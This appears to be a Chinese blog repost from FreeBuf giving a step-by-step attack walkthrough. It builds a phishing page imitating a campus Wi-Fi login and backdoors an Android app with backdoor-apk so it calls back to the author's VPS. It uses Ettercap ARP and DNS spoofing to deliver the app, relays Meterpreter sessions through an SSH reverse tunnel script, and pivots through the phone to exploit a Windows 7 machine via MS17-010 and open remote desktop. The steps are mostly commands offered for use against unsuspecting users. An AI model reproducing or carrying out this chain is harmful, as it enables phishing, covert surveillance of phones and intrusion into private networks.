MSF外网持久控制Android手机并渗透测试局域网

以前经常看Freebuf,学到了不少东西,现在想给入门的同学提供一点微小的帮助。以前老是不知道如何在外网使用msf这个神器,自己查了查资料,总结了一点自己的认识。

0. 环境:

a) Kali 2.0 (咖啡厅:192.168.0.2/校园网:172.16.X.X)

i. Metasploit-Framework ii. Ettercap(dns欺骗) iii. Backdoor-apk(apk后门) iv. Python -m SimpleHTTPServer 80 (轻量级HTTP服务器) v. SSH Tunnel (外网打洞)

b) Vultr vps 一台(Ubuntu 14.04)(公网IP:45.77.xx.xx)

echo GatewayPorts yes>>/etc/ssh/sshd_config

c) Android (魅蓝E2 Flyme by Yunos )( 咖啡厅:192.168.0.3/家庭局域网:192.168.0.3)

d) Win7 x64 sp1(ms17_010)(家庭局域网:192.168.0.5)

示意图:

1. 构造钓鱼页面

a) 首先我们在电脑上登录CMCC-EDU

b) 弹出一个页面

c) 该页面会提示下载一个 免费上网1.pak .我们正好用它来制作后门

d) 保存该页面到桌面, 将 免费上网.html 重命名为 index.html 并放到 免费上网_files 文件夹中,然后修改HTML:,

替换页面所有apk地址为免费上网.apk,并添加<iframe src=”免费上网.apk”>

e) python -m SimpleHTTPServer 80 #(在index.html所在文件夹直接启动HTTP服务)

2. 使用backdoor-apk制作apk后门

a) 现在我们

git clone https://github.com/dana-at-cp/backdoor-apk.git

b)

cd backdoor-apk-master/backdoor-apk

c) 将 免费上网1.apk 复制到此目录 并且重命名为 mfsw.apk

d)

./backdoor-apk.sh mfsw.apk

e) payload 选择 3

f) lhost 填写 vps 的IP地址 45.77.XX.XX

g) lport填写 99 (vultr 会封掉一部分端口,比如默认的4444)

h) 然后进入 original/dist 复制mfsw.apk 到 免费上网_files 那个包含我们钓鱼文件的文件夹,改名为 免费上网.apk

3. Ettercap 实现 DNS 欺骗

a) 查看ifconfig

b)

gedit /etc/ettercap/etter.dns

* A 192.168.0.2

* PTR 192.168.0.2

c) 开启ettercap-gui 选择wlan0

d) 扫描hosts

e) 选择欺骗 192.168.0.1 和 192.168.0.3 (Android)

f) 开启Arpspoof

g) 加载dns sproof 模块

h) 手机上如图:

i.

ii.

iii.

4. msf 通过SSHtunnel 接收 反弹meterpreter 会话

a) 下面我们切换kali连接到其他wifi,

ifconfig 查看一下当前kali ip

当前地址为 172.16.8.181 ,我们等下还是能接收到来自Android的会话

b)

vi sshTunnel

c)

#!/bin/bashif [ -n “$1” ]#判断参数$1是否为空then echo 0.0.0.0 $1”--<>--”45.77.xx.xx:$1ssh -C -g root@45.77.xx.xx -R $1:127.0.0.1:$1#这里是相同端口是因为,msf监听不到45.77.xx.xx:$1 会自动监听0.0.0.0:$1,刚好能正常接收会话elseecho 0.0.0.099”--<>--”45.77.xx.xx99 ssh -C -g root@45.77.xx.xx -R 99:127.0.0.1:99#默认监听99端口 fi

d) chmod +x sshTunnel

e) ./sshTunnel #默认99端口,运行sshtunnel 来实现 vps:99 到 127.0.0.1:99的转发

f) 其实这里已经有会话反弹过来了,只是本地msf监听没有开启

g) 现在我们开启msf监听

cd backdoor-apk/backdoor-apk/ msfconsole -r backdoor-apk. rc

h) 可以看到会话已经建立

i) session #查看

j) wakelock #保持唤醒防止掉线

k) session -i 1 #切换到meterpreter

l) 截个图录个音啥的都不是事,能中招的用户肯定会给权限的,毕竟不是所有人都是有安全意识

m) ifconfig#查看Android的网段

n) run autoroute -s 192.168.0.3 #添加自动路由background#返回msfconsole

o) 现在msf已经获得192.168.0.0/24网段的权限

但是我们还是有访问该网段的权限,扫描一手ms17_010

p) 既然是有ms17_010那就好办了(为了方便以后控制,加上bind_tcp正向连接成功率会低一点,所以使用reverse_tcp)

q) sshtunnel 打洞,45.77.xx.136:88->127.0.0.1:88

r) 可以看到,msf自动监听了0.0.0.0:88,这就是转发到相同端口的好处

s) 这里win7 x64会重启,然后获得会话,可以看到win7的会话也被vps转发回来了

t) seesion -i 2 #选择Windows的会话,并开启远程桌面

u) 输入shell,进行添加用户,这里也可以用 run getgui -e -u admin -p 123

v) 下面我们可以使用

protfwd add -l 1234 -r 192.168.0.5 -p 3389

将win7的远程桌面转发到本地1234端口

w) get it!

大三狗,会写Python,懂点Web安全,想去给网络安全公司的大佬端茶倒水(求一份网络安全实习,谢谢)

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-06-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏微服务生态

论代码级性能优化变迁之路(一)

大家好,很久没有和大家一起讨论技术了,那么今天我将和大家一起探讨我负责的某项目的性能变迁之路。

822
来自专栏FreeBuf

聊一聊万恶的锁首

当手持8倍镜的98K都不能在使用程序时干掉万恶的锁首时,内心是十万头羊驼奔跑的场景,那我们就来聊一聊市面上常见的锁首方式。 ① :设置OpenHomePage、...

2187
来自专栏同步博客

会话劫持

  在现实生活中,比如你去市场买菜,在交完钱后你要求先去干一些别的事情,稍候再来拿菜;如果这个时候某个陌生人要求把菜拿走,卖菜的人会把菜给陌生人吗?!当然,这只...

1173
来自专栏开发 & 算法杂谈

也谈应用程序级的同步、异步、阻塞、非阻塞

这几个经常出现的词汇很容易会引起大家的误解,第一次接触相关词汇是在课上,当时上操作系统的老师说得比较模糊(阻塞==同步,非阻塞==异步),当时觉得挺对 的,

872
来自专栏小狼的世界

HP-UX培训学习笔记

HP-UX操作系统全称为Hewlett Packard UniX,是惠普服务器上所有的操作系统。其发源自 AT & T SRV4系统,可以支持HP的PA-RIS...

1442
来自专栏美团技术团队

Redis高负载下的中断优化

Redis 服务端的总体请求量从年初最开始日访问量百亿次级别上涨到高峰时段的万亿次级别,给运维和架构团队都带来了极大的挑战。

1.2K11
来自专栏IT技术精选文摘

Presto内存调优及原理(基础篇)

Presto是一个开源的分布式SQL查询引擎,适用于交互式分析查询,数据量支持GB到PB字节。Presto支持在线数据查询,包括Hive, Cassandra,...

1605
来自专栏Golang语言社区

Web 最常见安全知识总结

随着Web2.0、网络社交等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中,越来越多的应用都架设在Web平台上。Web业...

38612
来自专栏沈唁志

整合ThinkPHP功能系列之微信公众号支付

3155
来自专栏公有云大数据平台弹性 MapReduce

Presto内存调优及原理(基础篇)

Presto是一个开源的分布式SQL查询引擎,适用于交互式分析查询,数据量支持GB到PB字节。

1.8K9

扫码关注云+社区

领取腾讯云代金券